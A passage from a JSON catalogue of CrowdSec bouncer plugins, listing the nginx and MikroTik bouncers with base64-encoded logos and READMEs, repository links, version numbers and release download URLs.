N/n3jwU3sO/U30/JvPLiJlXtX33EqNFvHt7H0SXm4cWIhs/dovtf+xqOgh8/WsPnQFstedNvoNiR1S2JIl8F0iYsnLiqO+kC94TpCfVJeS62Il5DyeRNKCjcxZD1CLPVnVxSE0lpbtRTnFFt1KpqLhOsaRLvKDTsVAfulZIp/fMVfdcTqRCKSS0ZmCiGXAl109+NuTgtkYZuYuLV6L4oIexoxueS8UzGsFL5h87gJly44FUMvCzJ8oJJK0wYqKitADDK6b5uplsg8o69DMec/9euLdxYDd5uSwzpMvRDI1KkixKunnEoDyFfMvvLEkrn6NpevOZVtEiVvZ065tjOQOrB0MEYUj0yUQi4H+lmZVwOfCEVMsfJaREs3ZHzjt1cNPZEwQEA2YE19ytA4hyCvbUxsH6vvpLRtOnDI+tAA8hVxTS3w/cKn7aCpQdg+HyduSL/fq7JQSsZYnNqHqkz255YfsjjvN7DdgJukrE9PApYj6WtmHgmHEXLqzuzKcjPzhIpjNuX92RW7hh5P6G/i+nAeQZ5677U+Thl8cNA74H9JLE78jpfIGVKQB0SG2V0DiOJgRIv8qiffqDVCn5E40oCbpBan9pCKsiCM9cGnQt6unAptFUAsxNEG3CS1ZGSKilwGPBRSgKBGSKb5cireNFdZ+LjCAIDEXYle76cRuRIxH2isLMp5KVjSLjp2ednYsutW6tOLawy4yZCNj7eJuh54UQqm8PVtfAEQ6yJUMbs8t1xbmRWbcZ0BN0krTusVFGIZgEfKqZXjKw/bramZZppppplmtPBfF3sPBXFW2BYAAAAASUVORK5CYII=", "url": "https://github.com/crowdsecurity/cs-nginx-bouncer", "description": "CrowdSec bouncer for Nginx", "stars": 30, "downloads": 45323, "readme_content": "PHAgYWxpZ249ImNlbnRlciI+CjxpbWcgc3JjPSJodHRwczovL2dpdGh1Yi5jb20vY3Jvd2RzZWN1cml0eS9jcy1uZ2lueC1ib3VuY2VyL3Jhdy9tYWluL2RvY3MvYXNzZXRzL2Nyb3dkc2VjX25naW54LnN2ZyIgYWx0PSJDcm93ZFNlYyIgdGl0bGU9IkNyb3dkU2VjIiB3aWR0aD0iMjgwIiBoZWlnaHQ9IjMwMCIgLz4KPC9wPgo8cCBhbGlnbj0iY2VudGVyIj4KPGltZyBzcmM9Imh0dHBzOi8vaW1nLnNoaWVsZHMuaW8vYmFkZ2UvYnVpbGQtcGFzcy1ncmVlbiI+CjxpbWcgc3JjPSJodHRwczovL2ltZy5zaGllbGRzLmlvL2JhZGdlL3Rlc3RzLXBhc3MtZ3JlZW4iPgo8L3A+CjxwIGFsaWduPSJjZW50ZXIiPgomI3gxRjREQTsgPGEgaHJlZj0iI2luc3RhbGxhdGlvbi8iPkRvY3VtZW50YXRpb248L2E+CiYjeDFGNEEwOyA8YSBocmVmPSJodHRwczovL2h1Yi5jcm93ZHNlYy5uZXQiPkh1YjwvYT4KJiMxMjgxNzI7IDxhIGhyZWY9Imh0dHBzOi8vZGlzY291cnNlLmNyb3dkc2VjLm5ldCI+RGlzY291cnNlIDwvYT4KPC9wPgoKCgojIENyb3dkU2VjIE5HSU5YIEJvdW5jZXIKCkEgbHVhIGJvdW5jZXIgZm9yIG5naW54LgoKIyMgSG93IGRvZXMgaXQgd29yayA/CgpUaGlzIGJvdW5jZXIgbGV2ZXJhZ2VzIG5naW54IGx1YSdzIEFQSSwgbmFtZWx5IGBhY2Nlc3NfYnlfbHVhX2ZpbGVgLgoKTmV3L3Vua25vd24gSVAgYXJlIGNoZWNrZWQgYWdhaW5zdCBjcm93ZHNlYyBBUEksIGFuZCBpZiByZXF1ZXN0IHNob3VsZCBiZSBibG9ja2VkLCBhICoqNDAzKiogaXMgcmV0dXJuZWQgdG8gdGhlIHVzZXIsIGFuZCBwdXQgaW4gY2FjaGUuCgpBdCB0aGUgYmFjaywgdGhpcyBib3VuY2VyIHVzZXMgW2Nyb3dkc2VjIGx1YSBsaWJdKGh0dHBzOi8vZ2l0aHViLmNvbS9jcm93ZHNlY3VyaXR5L2x1YS1jcy1ib3VuY2VyLykuCgojIEluc3RhbGxhdGlvbgoKUGxlYXNlIGZvbGxvdyB0aGUgW29mZmljaWFsIGRvY3VtZW50YXRpb25dKGh0dHBzOi8vZG9jLmNyb3dkc2VjLm5ldC9kb2NzL2JvdW5jZXJzL25naW54KS4KCg==", "status": "stable", "version": "v1.0.4", "assets": [ { "name": "crowdsec-nginx-bouncer.tgz", "download_url": "https://github.com/crowdsecurity/cs-nginx-bouncer/releases/download/v1.0.4/crowdsec-nginx-bouncer.tgz", "asset_url": "https://api.github.com/repos/crowdsecurity/cs-nginx-bouncer/releases/assets/62474346" } ] }, { "name": "cs-mikrotik-bouncer", "author": "funkolab", "logo": "iVBORw0KGgoAAAANSUhEUgAAAZAAAABhCAYAAAD4BvfEAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyZpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNi1jMDE0IDc5LjE1Njc5NywgMjAxNC8wOC8yMC0wOTo1MzowMiAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENDIDIwMTQgKFdpbmRvd3MpIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjAxNjNGNUZERDQ1OTExRTRCMUY3RTQyNzRERjM0RTI3IiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjAxNjNGNUZFRDQ1OTExRTRCMUY3RTQyNzRERjM0RTI3Ij4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MDE2M0Y1RkJENDU5MTFFNEIxRjdFNDI3NERGMzRFMjciIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6MDE2M0Y1RkNENDU5MTFFNEIxRjdFNDI3NERGMzRFMjciLz4gPC9yZGY6RGVzY3JpcHRpb24+IDwvcmRmOlJERj4gPC94OnhtcG1ldGE+IDw/eHBhY2tldCBlbmQ9InIiPz6z88kTAAAgtElEQVR42uxd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", "url": "https://github.com/funkolab/cs-mikrotik-bouncer", "description": "A CrowdSec bouncer for MikroTik RouterOS appliance", "stars": 15, "downloads": 0, "readme_content": "PHAgYWxpZ249ImNlbnRlciI+CjxpbWcgc3JjPSJodHRwczovL2dpdGh1Yi5jb20vZnVua29sYWIvY3MtbWlrcm90aWstYm91bmNlci9yYXcvbWFpbi9kb2NzL2Fzc2V0cy9jcm93ZHNlY19taWtyb3Rpa19sb2dvLnBuZyIgYWx0PSJDcm93ZFNlYyIgdGl0bGU9IkNyb3dkU2VjIiB3aWR0aD0iMzAwIiBoZWlnaHQ9IjI4MCIgLz4KPC9wPgoKIyBDcm93ZFNlYyBNaWtyb3RpayBCb3VuY2VyCkEgQ3Jvd2RTZWMgQm91bmNlciBmb3IgTWlrcm9UaWsgUm91dGVyT1MgYXBwbGlhbmNlCgohW0dpdEh1Yl0oaHR0cHM6Ly9pbWcuc2hpZWxkcy5pby9naXRodWIvbGljZW5zZS9mdW5rb2xhYi9jcy1taWtyb3Rpay1ib3VuY2VyKQohW0dpdEh1YiBnby5tb2QgR28gdmVyc2lvbl0oaHR0cHM6Ly9pbWcuc2hpZWxkcy5pby9naXRodWIvZ28tbW9kL2dvLXZlcnNpb24vZnVua29sYWIvY3MtbWlrcm90aWstYm91bmNlcikKWyFbR28gUmVwb3J0IENhcmRdKGh0dHBzOi8vZ29yZXBvcnRjYXJkLmNvbS9iYWRnZS9naXRodWIuY29tL2Z1bmtvbGFiL2NzLW1pa3JvdGlrLWJvdW5jZXIpXShodHRwczovL2dvcmVwb3J0Y2FyZC5jb20vc